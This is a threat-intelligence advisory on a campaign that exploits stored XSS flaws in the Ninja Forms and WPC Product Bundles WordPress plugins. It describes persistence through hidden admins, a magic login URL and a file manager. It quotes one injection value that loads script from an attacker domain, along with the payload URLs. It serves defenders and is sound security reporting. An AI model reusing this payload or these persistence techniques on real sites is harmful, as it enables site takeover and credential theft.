# Ninja Forms (CVE-2026-94504) and WPC Product Bundles (CVE-2026-93836) stored XSS flaws exploited to hijack WordPress sites

> Attackers are exploiting unauthenticated stored XSS flaws in the Ninja Forms (500,000+ installs) and WPC Product Bundles for WooCommerce (30,000+ installs) WordPress plugins. Injected JavaScript from imgcdn1.com runs in an administrator's authenticated session, installs a fake 'WP Smart Thumbnails' plugin and sets up four independent persistence mechanisms: a visible admin, a hidden admin, a magic login URL and an unauthenticated file manager.

- **Published:** 2026-10-06T00:00:00Z
- **Last reviewed:** 2026-10-06T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2988
- **ID:** TL-2026-2988
- **Severity:** HIGH (CVSS 7.1)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 20 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-94504, CVE-2026-93836

## Description

Patchstack first observed the campaign on 2026-10-04 (10:39 UTC) against WPC Product Bundles for WooCommerce and saw the same activity against Ninja Forms on 2026-10-05. Both CVEs are stored XSS (CWE-79) that an unauthenticated visitor can trigger; the 'authenticated session' in the reporting is the victim administrator's session, which the payload abuses when the admin opens the poisoned content. Patchstack rates both CVSS 7.1; Wiz lists CVE-2026-93836 at 7.2. No CVSS vector was published in the sources reviewed.

Entry vector, WPC Product Bundles (<= 8.6.6, fixed 8.6.7): the attacker submits a numeric-prefixed value in the woosb_ids[...][qty] parameter, for example '1 <script src="https://imgcdn1.com/fz/x.js"></script>'. A PHP float cast lets the value pass quantity validation, and it is stored verbatim in WooCommerce order item metadata under '_woosb_ids'. The script fires when an administrator views the order. Entry vector, Ninja Forms (<= 3.15.3, fixed 3.15.4): the payload is injected through a form submission handled by the legacy editor via the nf_ajax_submit AJAX action and executes when an admin views the submission. Separately, other stored XSS issues were fixed in later Ninja Forms releases (for example a Paragraph Text RTE field flaw in 3.15.4 fixed in 3.15.5), so keep Ninja Forms current beyond 3.15.4.

Payload: https://imgcdn1.com/fz/x.js (19,378 bytes; domain registered 2026-10-01) runs in the admin's session, retrieves WordPress administrative nonces, fetches the malicious package from https://imgcdn1.com/fz/c.php?xa=pkg and installs it with legitimate WordPress plugin-install functions. The package is a plugin masquerading as 'WP Smart Thumbnails' 1.2.4 by 'MediaPress Labs' (slug wp-smart-thumbnails). Its files are wp-smart-thumbnails.php (a 20,728-byte dropper with an inverted ABSPATH guard), emer-run.php (a 14,330-byte persistence installer) and two decoy files, includes/class-thumb-cache.php and readme.txt. The dropper is layered obfuscation: base64, a 26-byte XOR key, ROT13, double base64, 2-byte rotation and gzip with an MD5 integrity check. It runs through a custom 'dyiv://' stream wrapper instead of eval().

Four persistence paths: (1) a visible administrator whose username is a random operational word with an @wordpress.org email; (2) a hidden administrator, concealed by must-use plugins in /wp-content/mu-plugins/ (class-wp-query-<8 hex>.php hooks pre_user_query, users_list_table_query_args and views_users; class-wp-token-validate.php handles the login token at init priority 1), both backdated to the oldest install timestamp; (3) a magic login URL /wp-login.php?_wplogin=<token> that authenticates as the oldest existing administrator, so the original owner's account must be treated as compromised; (4) an unauthenticated ~37KB file manager in the plugin (title string 'Moon, tell me if I could') with a JSON API for list, upload, delete, rename, mkdir, read and save, no auth check and no command-execution primitive (code execution is achieved by writing PHP to a path). Campaign state is kept in the options fz_emer_done_v1 and fz_emer_login_tokens, and the client side uses localStorage keys prefixed '__xp_v9_'. Exploitation traffic came from Tor exit nodes plus one flagged spam/brute-force IP. BeaconBeagle returned no C2 config match for imgcdn1.com. Patching stops new injection but does not remove an existing compromise.

## MITRE ATT&CK

- T1583.001 Domains
- T1190 Exploit Public-Facing Application
- T1059.007 JavaScript
- T1136.001 Local Account
- T1505.003 Web Shell
- T1505 Server Software Component
- T1078.003 Local Accounts
- T1564 Hide Artifacts
- T1070.006 Timestomp
- T1027 Obfuscated Files or Information
- T1027.013 Encrypted/Encoded File
- T1140 Deobfuscate/Decode Files or Information
- T1071.001 Web Protocols
- T1090.003 Multi-hop Proxy

## Sources

- [Ninja Forms plugin flaw exploited to hack WordPress sites (BleepingComputer)](https://www.bleepingcomputer.com/news/security/ninja-forms-plugin-flaw-exploited-to-hack-wordpress-sites/)
- [Four ways back in: the WordPress XSS campaign that hides its own admin account (Patchstack)](https://patchstack.com/articles/four-ways-back-in-the-wordpress-xss-campaign-that-hides-its-own-admin-account/)
- [CVE-2026-93836 vulnerability record (Wiz)](https://www.wiz.io/vulnerability-database/cve/cve-2026-93836)
- [Ninja Forms vulnerability database (Patchstack)](https://patchstack.com/database/wordpress/plugin/ninja-forms/vulnerabilities)
- [Ninja Forms <= 3.15.3 cross-site scripting (Patchstack)](https://patchstack.com/database/wordpress/plugin/ninja-forms/vulnerability/wordpress-ninja-forms-plugin-3-15-3-cross-site-scripting-xss-vulnerability)
- [WPC Product Bundles for WooCommerce (WordPress.org plugin page)](https://hr.wordpress.org/plugins/woo-product-bundle/)
- [Ninja Forms <= 3.15.4 unauthenticated stored XSS via Paragraph Text RTE field (Patchstack, related separate flaw)](https://patchstack.com/database/wordpress/plugin/ninja-forms/vulnerability/wordpress-ninja-forms-plugin-3-15-4-unauthenticated-stored-cross-site-scripting-via-paragraph-text-rte-field-submission-vulnerability)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2988